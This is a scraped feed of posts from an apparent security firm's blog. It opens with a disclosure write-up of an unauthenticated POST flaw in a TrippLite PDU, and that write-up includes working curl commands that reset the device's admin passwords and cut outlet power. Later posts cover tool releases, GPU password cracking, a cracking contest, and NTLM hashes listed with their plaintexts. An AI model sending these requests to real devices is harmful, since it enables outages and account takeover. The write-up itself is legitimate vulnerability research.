Typically during internal network penetration tests, pentesters come across many different types of devices. Much of the focus is likely on the Windows/UNIX-like systems and critical infrastructure devices (e.g., storage, DNS servers, routers, switches, etc.). There are, however, a number of other network connected devices that often times get passed over due to factors such as function, purpose, placement, or lack of sensitive data contained within.

A pentester may take a second look at a given device because telnet or FTP is enabled, but after a cursory glance at the HTTP listener and thinking it is a UPS - maybe they will likely skip over it in favor of the Linux system running Apache, MySQL, and SSH.

Welcome to the land of forgotten and misfit toys ... this is not exciting, cutting-edge, sexy stuff. These are devices organizations typically plug in, configure minimally (just enough to "do the job"), and forget about. In this post, I discuss a particular vulnerability of a TrippLite Power Distribution Unit (PDU).

Out of technical curiosity, I picked up a used TrippLite Power Distribution Unit (PDU) several months back. Basically, A PDU is a heavy-duty power strip. Often, these units are rack-mountable and contain a network management card, so that they can be deployed in server rooms or data centers and managed remotely.

Target:

Manufacturer:		Tripp Lite
Model:			TRIPP LITE PDUMH15AT
Firmware Version:	12.04.0053

There are a number of obvious security issues with this device and its firmware version that we will not focus on in this blog post, namely:

  • Well-documented, default credentials
  • Athentication being performed over cleartext (telnet, ftp, and http)
  • Basic Auth being done (every request) over HTTP
  • XSS issue in configuring an email contact
  • Management interface denial of service issues via dumping memory and four unsuccessful SCP attempts

The above list is pretty boring, but there is one more vulnerability that's mildly interesting.

Issue: Unauthenticated POSTs

During legitimate, authenticated use, configuration changes to the PDU are made through POSTs sent to a number of pages under http://&ltIP Address&gt/Forms/. Unfortunately, the PDU does not check that these POSTs contain the Basic Auth header, which means that an attacker can turn on/off PDU management services, configure credentials, or turn on/off power to your servers ... remotely, without providing authentication.

To demonstrate turning off a management service, we will use HTTPS as our victim service. First, let's establish that it is running.

$ nmap -sT -p 80,443 192.168.1.87

Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:26 CST
Nmap scan report for 192.168.1.87
Host is up (0.0021s latency).
PORT    STATE SERVICE
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Next, we issue a POST without authentication to turn the service off.

$ curl -X POST -d "netweb_access=00000001&nethttp_access=00000001&nethttp_port=80&nethttps_access=
00000000&nethttps_port=443&savechanges=Save+Changes" http://192.168.1.87/Forms/network_web_1

Then, we restart the management interface, which causes our change to take effect. Finally, we re-run nmap to show that the HTTPS service is now off:

$ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1

$ nmap -sT -p 80,443 192.168.1.87

Starting Nmap 7.30 ( https://nmap.org ) at 2017-02-13 11:29 CST
Nmap scan report for 192.168.1.87
Host is up (0.0035s latency).
PORT    STATE  SERVICE
80/tcp  open   http
443/tcp closed https

Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds

Okay, mildly interesting ... but what I really want is to log into the device and do things. Unfortunately, I don't know the password. Wait a tick ... can we use the same unauthenticated POST vulnerability to set the password for the manager account? Turns out we can, as shown here:

$ curl -X POST -d "securityrou=guest&securityro1=guest&securityro2=guest&securityrwu=
manager&securityrw1=manager3&securityrw2=manager3&securityadu=admin&securityad1=admin&securityad2=
admin&savechanges=Save+Changes" http://192.168.1.87/Forms/system_security_1

Once the password has been set, all we need to do is restart the management interface:

$ curl -X POST -d "startreset=Restart+PowerAlert" http://192.168.1.87/Forms/requestreset_1

And presto ... we can now login to the manager account using a password of 'manager3'. Naturally, you can use the same technique to set the admin password as well.

The web interface allows for authenticated users to turn on/off power to individual outlets. As was mentioned, the problem is that the POSTs can be sent to the device with the correct data but without a Basic Auth header, and the PDU will still honor the request.

To turn off the power to outlet #1:

$ curl -X POST -d "actLoadId=1&loadoff1=Off" http://192.168.1.87/Forms/action_load_list_1

To turn the power back on again to outlet #1:

$ curl -X POST -d "actLoadId=1&loadon1=On" http://192.168.1.87/Forms/action_load_list_1

The unauthenticated POST vulnerability was reported to TrippLite in Q1 of 2018. They were unconcerned when we reported the issue since a newer version of the firmware that was not vulnerable had already been released. TrippLite did not elaborate on whether or not the vulnerability had been reported previously or if the new version of the firmware (which appears to be a significant re-write to the web interface) addressed the issue intentionally (or unintentionally).

But, the question I have is: "How many organizations include network-attached PDUs in their patch management program?"

FTimes 3.12.0 Released

$
0
0
Version 3.13.0 is a minor release of FTimes. Generally, code was cleaned up and refined as necessary. Several bugs have been fixed -- see the ChangeLog for details. The most significant changes in this release are the addition of new encoder/decoder/embedded routines, support for B-Tree file systems (BTRFS) under Linux, and the introduction of KLEL-based include/exclude filters. Note that both PCRE and KLEL (1.2.0 or higher) libraries are now required. For now, PCRE-base filters are still enabled by default, but the plan is to phase them out completely in a future release.

KLEL 1.1.0 Released

$
0
0

The latest version of KLEL, 1.1.0, has just been released! It's available for download at its SourceForge site.

This release brings a much cleaner and faster parser, and a more consistent API for developers. The KLEL standard library has been extended with a family of "abort" functions to trigger runtime errors in expressions.

KLEL (pronounced 'kal ell'*), is the KoreLogic Expression Language. It's a small but powerful expression language implemented as a normal C library, and with an emphasis on being easily embedded in larger programs. It's very useful for specifying predicates in programs, or providing a bit of dynamism in configuration files. FTimes, for example, uses it to specify predicates for hook functions in its configuration file.

While the simplicity of its embedding API and usefulness of the lanaguage are probably its most useful features, its most interesting** feature is its type system. Unlike most little expression languages, KLEL is statically and strongly typed, with typechecking performed at compile time. This means that you can be sure your expression is free of a large class of errors before executing it. This is important in forensic situations where you might be running the same expression thousands or millions of times and where you might only get one shot at the data.

KLEL comes with complete documentation and several example programs. As always, if you have any questions, please email libklel-project@korelogic.com.

* resemblance of the name to that of a certain Kryptonian is purely coincidental.

** in my opinion

FTimes 3.10.0 Released

$
0
0
Version 3.10.0 is a minor release of FTimes. Generally, code was cleaned up and refined as necessary. Several bugs have been fixed -- see the ChangeLog for details. This release includes updated support for file hooks and introduces KLEL-based XMagic. Consequently, the minimum required version of libklel has been rasied to 1.1.0, which has a library version of 2:0:1. Finally, file system support for SquashFS was added.

MASTIFF 0.6.0 Released

$
0
0
The latest version of MASTIFF, 0.6.0, has just been released! Run over to the download site and grab the latest version!

The official changelog is located here, but the major improvements are described below.

Upgrading MASTIFF to the latest version is easy. You can follow this process:
  1. Download and install pydeep.
  2. Download MASTIFF 0.6.0 and untar it.
  3. Run "make test" to ensure you are not missing any dependencies.
  4. Run "sudo make install" to install the latest version.
  5. Copy the analysis plug-ins (the plugins directory in the tarball) to your location of choice and ensure the config file is pointing to that directory.
  6. Add any new options to your MASTIFF config file. The easiest way may be to use sdiff.

Queue

MASTIFF now has a queueing system so multiple files can be analyzed by the framework. To utilize this, give MASTIFF a directory instead of a file to analyze. It will find all files in that directory and its subdirectories, add them to the queue, and begin processing.

The queue is maintained within the MASTIFF database. So, if you have to stop MASTIFF in the middle of its run, it will begin re-processing the queue when its restarted. Some additional options have been added to allow you to work with the queue:
  • --clear-queue: This will clear the current queue.
  • --ignore-queue: This will ignore the queue and just process the file you give it.
Analysis plug-ins are also taking advantage of the queue. The pdf-parser and ZipExtract plug-ins have a new option ("feedback") which allow you to feed files from the plug-ins back into the queue for processing. For example, the ZipExtract plug-in will add all files that were extracted from the archive into the queue for processing.

Fuzzy Hashing

Fuzzy hashing is not something new within MASTIFF. However, we have changed the Python library used for it. Previously, we used pyssdeep but found that there were a number of stability issues with it on OSX and when processing large amounts of files.

Therefore, we have switched to pydeep (https://github.com/kbandla/pydeep). Our testing has shown it to be much more stable thus far.

libmagic

There was some confusion on which Python libmagic libraries to use when installing MASTIFF. To help alleviate some of that, the framework has been modified to use two different libmagic libraries:
If either library is installed, MASTIFF will utilize them.

Other Changes

A number of other bug fixes and improvements have been made. Please see the changelog file for a complete list.

As always, if you have any questions, please email mastiff-project@korelogic.com.

We have a lot of great things coming down the pipe for MASTIFF, but if you have any suggestions, enhancements or plug-ins, let us know!

Crack Me If You Can 2013 Is On!

$
0
0
It's official, Crack Me If You Can will definitely be back for DEFCON 21 in August.

We've been planning what to do for this year's contest, combining all our lessons learned. Will get the 2013 site up, and start announcing structure and rules soon.

Submerging a GPU Cluster in Mineral Oil

$
0
0
You may have seen the recent article on Ars Technica by Dan Goodin about KoreLogic. We (Rick Redman and Dale Corpron, KoreLogic consultants) dipped a computer in oil, and left it there, running, 24x7.

Although this idea isn't really all that new (Cray did it in 1985!), our use of it is relatively rare. We dipped a GPU powered password cracking system in the oil. Thanks to Midas Green Tech's help, it was really easy to do. Our hardware wasn't new or even custom, but it's running, right now, in mineral oil.

So, why did we do it?
Well, we built an additional hardened password cracking system out of some extra AMD Radeon 6990s that were sitting around the office. Next, we placed the system in an air-cooled COLO space, and, guess what? It overheated. So we added more fans, and it overheated again. We removed the side of the case, re-attached the heat sinks with better thermal paste, and it still overheated. Granted, we could have moved the 4U twin 6990 system to another COLO which chills their server rooms to 60 degrees, but the cost would have been almost twice as much. Granted, that would have come with higher bandwidth too, but a GPU password cracking system doesn't really need that much bandwidth (unless it's downloading/updating wordlists). So we had an overheating GPU system, with possibly malfunctioning Radeon cards, and the box was air-cooled at a COLO that already does oil-based cooling. It just seemed logical.

Midas assured us it was safe (they've been doing it for a while now). They had multiple other systems already submerged and knew how to do it. The vendor who supplied the hardware (grcooling.com) assured us the GPUs were safe to submerge. So, we decided to go for it.

What it takes:
Remove all fans from your system (except the power supply fan which is "required" by the power supplies). Remove all heat sinks from the CPUs and GPUs. Clean off all the thermal paste that was under the heat sinks, and replace with thermal tape (Just Google for " Thermal Adhesive Tape") and then re-attach just the heat sink (no fans). The idea of running Radeon 6990 cards without fans sounds crazy. They would overheat in 2 seconds in the air.

The next step is tricky... Take your computer, drop it into a tank of cooled mineral oil, and turn it on.

Here is video of us doing just that.

We have to say, it was nerve-racking. It goes against everything you believe in. Computers don't run in liquid. But they do! They run cheaper at the same speed (if not faster) than air cooling. The liquid oil at Midas is pumped out, put through a cooler/radiator using "cold" water, and returns into our rack at approximately 80 degrees (F). Sure, we heat that oil up, but it's very quickly sucked out of the rack, and cooled. The temperature of the oil could be lowered to much colder temps, but why? That would require more electricity.

You can see the oil rising out of the GPU cards in the following video. Note, there are no fans on those cards, the oil you see moving is just the hot oil rising to the top of the rack. Notice the bubbles on the surface of the oil, see how they are moving? The blue light is the power supply and (still intact) internal fan. (It's a 1200 watt power supply, if you are curious). At the end of the video you can see we pan over to the temporary X11 interface and see that we are running oclHashcat-plus. (Don't trust the temps listed in the video, that was a bug that was fixed later.)

In conclusion, this method is cheaper for us as a COLO customer, uses less electricity, and prevents our systems from overheating. Why NOT do it? Whats our attraction in inefficient air cooling? We will update the blog on details on how the system handles the oil long-term, but it's been weeks now, and everything is working great. Currently, the 4 GPU cores and running at "full blast" cracking a few hundred thousand NTLMs and are running at 51-68 degrees Celsius. The oil is approx 21.6 degrees Celsius. oclHashcat-plus will "abort" a GPU cracking job at 90 degrees Celsius.

Here are more pictures of oil cooled systems.
(KoreLogic has no relationship with Green Revolution Cooling, we didn't coordinate with them on this write-up, etc.)

Our answers to some questions:
  • Yes, you can do this at home with an acrylic fish tank. Notice "our" tank is made of steel. I've heard that the eventually heat will melt the sealant used on non-commercial tanks, so high-heat uses are not encouraged. Details here. We are not affiliated with, nor sell/resell their systems. It's just a link.

  • We are aware this isn't "ground breaking". But why aren't you doing it? Why isn't everyone doing it? Why, as an industry, are we cooling our systems using inefficient methods such as air conditioning? Why is this the only COLO (we could find) that provides this service?

  • "Does it really save electricity?" - Well, We aren't running the COLO, so we aren't the best people to ask. But, it costs less (as a customer) to COLO in oil vs. air cooled. So, we assume someone has done the math.

  • "What about water cooling and/or water "blocks" for the GPUs?" - This is a decent solution for some people, and we have worked with that for some systems. It still requires lots of extra hardware, and tons of noisy fans. Plus, this is "ready to go" method for us, at a COLO. Just drop it in the oil, and start cracking!

  • "Why are you doing this?" - We are security professionals and a big part of what we do is performing security assessments and penetration tests. We often encounter tens of thousands of passwords that we need to crack, in a short period of time, and we'd like to think we've become pretty good at it. We've always believed that it is important to give back to the community, so we've published HOWTOs, given talks, published password cracking rules, forensics tools, and various widgets and utilities. We had some spare hardware lying around and we wanted to see how it would perform in this environment. We thought some people might be interested in this too.

  • "You don't really crack 90%." - Sure we do. That was not just some made-up value. Password cracking technology has come a long way. Consider the password cracking contest we run at DEFCON (Crack Me If You Can). We release over 120,000 password hashes and the teams that participate have only 48 hours to crack as many as they can. The hashes are in many different formats, some extremely difficult and computationally expensive to crack. The contest tries to simulate real world environments--but the crackers are so good now, that we are forced to include 12-16 and longer character passwords. The teams that participate crack most of them in the 48 hour window.

    So yeah, we often crack over 90% of the passwords we encounter on pentests. This is a big part of what we do. Rick Redman has spoken at conferences (BSides, DEFCON, AHA, DerbyCon, etc.) on advanced password cracking techniques. One of our specialties is developing patterns/rules/wordlists specifically designed to crack corporation/enterprise password sets. Granted, many of the lists are NTLMs (from Active Directories) and those are easier to crack. Thanks Microsoft ;)

  • "How is the oil cooled?" - Look in the pictures on grcooling.com's website. There is a large cooling tank in the back of the room. We do not have the specifics on how it works, but it works. This is a professional/industrial solution. The only need for air conditioning in the room, is for the humans.

  • "Noise?" - In the YouTube videos, we are whispering. There are approx 40 or so 1U computers running (in oil) in that same room. The "beep" you hear is a laptop speaker about 5 feet away. So it's pretty quiet.

  • "Cost?" - It's based on power/bandwidth usage. This system pulls approximately 6 AMPs of power. We will not disclose the actual cost to KoreLogic out of respect for Midas.

  • "Can I do it?" - YES! Midas Green Tech is a normal COLO and would gladly oil-dip your machines for you. We have no relationship with them, they are just a group of friendly geeks doing cool stuff. We really like that we are supporting a local, small business by doing this as well.

  • "Contamination of oil by dust?" - We do not know the details of this. Maybe there is an oil filter? We're willing to bet that even dust-filled oil is still better at cooling GPUs, than air is. We're not willing to test that theory though.

  • "Why not overclock?" - Radeon 6990s are beasts as-is. And we obviously could overclock them, but to extend their life-span we currently aren't planning to overclock.

  • "What about your devices when you pull them out of the oil?" - According to Midas, "spraying electronics cleaner" will safely remove the oil and they are "safe" to run in the air afterwards. This has been tested by Midas (we have not validated this test ourselves).

  • "Warranty?" - According to Midas, "Several large server component manufacturers like SuperMicro warranty their products in the oil." In this case we were experimenting with spare hardware so it was not a big concern.

CMIYC 2013 Post-game

$
0
0
This is the first of several posts we'll make post-Crack Me If You Can 2013. Later we'll gather things up and add content to the main 2013 contest site.

In this post I'll talk a little about the structural changes we made in this year's DEFCON contest, what we did that we think worked well, some not so well. We'd love feedback that we can use when planning future contests.

Structure

The most obvious change this year was the creation of Pro and Street divisions. Hash types and ratios, encrypted file types, and plaintext creation techniques were generally the same between them, but the plaintexts themselves were different. This was a way to try to have the hardcore teams pushing each other hard, while keeping things fun for smaller teams and more casual players--maybe people at DEFCON who actually want to see some of DEFCON.

The password hashes were then split into 8 different fictitious "CompanyN" subdirectories. Different hash types were spread asymmetrically across the different CompanyN directories. There were relationships between the plaintexts within a given CompanyN directory. We'll do another post later that digs into those in more detail. I am curious if any teams figured out those relationships, or if you all just grouped all NT hashes together into one pile, all DES into another, etc and discarded the relationship between DES and NT hashes for Company1, etc.

The encrypted file challenges had hints about some of the plaintexts for a certain CompanyN. More on those later, too.

Preparation

We were able to do a few things ahead of time that we think helped things go smoothly during the actual event:
  • Pre-registration opened more than a week before the contest start. That let people work out any issues with PGP, dealing with the autoresponder, etc early.
  • Test hashes were published several days before the contest, with a basic automated scoreboard. This also helped teams know what to expect, make sure they were submitting in the correct format, etc, before the pressure was on.
  • Pre-downloads of the hash sets and some of the challenges were available as encrypted archives before the contest start time. This way there was no rush to swamp our bandwidth at the beginning (and I think we did a better job explaining this ahead of time than we did in past years).
All of those helped make this the smoothest CMIYC contest yet.

Issues

We did have some issues at different times, most of which we were able to fix quickly.
  • Scoreboard issues - there were a couple of hash types that were not being counted correctly. The first we found & fixed before anyone noticed, but there was another one (or two?) that we did not catch, until a team contacted us and said "Hey we have cracked N of type XYZ but they aren't appearing", at which point we investigated and fixed it.
  • Submission issues - Despite the early registration and test crack submissions, howto instructions and examples that we try to improve every year, we still had teams forgetting how to submit properly. Sometimes just sloppiness--including hashes, config files, etc, or forgetting to sort -u their lists. Other times it was more involved than that. But, at least the instances of this decrease every year.
  • Late downloads - We had wanted everything to be ready and downloadable ahead of time. But some challenge files weren't ready in time, and we had to release them a bit after the contest started (and scrapped some we had wanted to do, in the interest of time).
  • Few Encrypted File Cracks - Almost no encrypted challenge files were cracked. Either we made them too hard, or teams didn't see the value in dedicating resources towards them, or both. Maybe we should have emphasized the hints more. We'll probably publish them pretty soon (sooner than the plaintexts themselves). I'm curious to hear from the contestants on the encrypted files; did you try a lot but not get far, or not bother?
  • Fewer Password Cracks Than Expected - Overall, fewer plaintexts were cracked than we were anticipating. Maybe that means we made them harder than intended. But, that's better than the opposite; if you all cracked everything in the first 12 hours, the rest of the contest would be a little bit boring.
Coming Up Next

Over the coming weeks we will be collecting writeups from the teams that competed and updating the contest site with them. We'll also do more blog posts that go into more details about certain aspects of the 2013 competition from our perspective.

Mini-Password Cracking Challenge for LOLBitCoin Party

$
0
0
As a favor to @Druidian, I supplied a mini password cracking challenge for hackers at DEFCON. It was a small list of NTLM hashes that the teams had to crack. They had no idea what the significance of them was.

I supplied the following NTLM hashes:
2a89df716d7c39b6038c43546bbc5041
581d884bea2b273e04679e117c085386
42e82d52fa7db0d949fcf66a087579c9
870939d15a53df37156bb07a47a26beb
7660d04a2b64e747eccec3af91fe9c02
f3fa98903f1748acc13185842febfb11
f3f0db2300cadc5d2e49bfb04e1e5e48
225fcf805ccc210c7980b3177740b956
28e1f23668a254bd199526a2093cb364
e3f47723b9640445c6de1c15dcfa7dd5
8c6238b01d465f3a83c3547738f17e7c
c602232b6ef5815ec123d64c6b9e2338
dafd403f1c792f9683aa0d669688ffad
a461f40632c7facc5bbd401d05cd0b18
2bcf145f94af0416549a7691097fb8df
21d1ab95086551fd50f5d4166e384c2e
75058752b1d8fe1c3743c03efb526c64
45d52779d7239813c4a31f50310f20b1
1389246954dfc619f0008d97f4cb372a
0eaa056eae94da444e42bae1d085e27d
6cb96c5c3db703a219a25f97baa44c9e
f59e4b69c6c0e49a12e11f635a925f93
These hashes cracked to the values:
larson123
araFAT!
will3w0nka
l00z3er
.,m.,m!
boomb00m
id10tid10t
tr4sht4lk
c00lm0d3
oinkoinkping
inoutinout
n00bzRus
@DEFCON
g0g0gadget
myusername
allmycircuits
inthebathroom
l00km0m!
.dotdotdot
callmeMAYBE
ohtheplaces
myAdidas
This doesn't look at the important, until you look at the first character of each password (assuming you kept them in the correct order).

l a w l . b i t c o i n @ g m a i l . c o m

So:

lawl.bitcoin@gmail.com

This was the email address the teams had to email in order to get to "Stage 3" of the challenge.
Viewing all 78 articles
Browse latest View live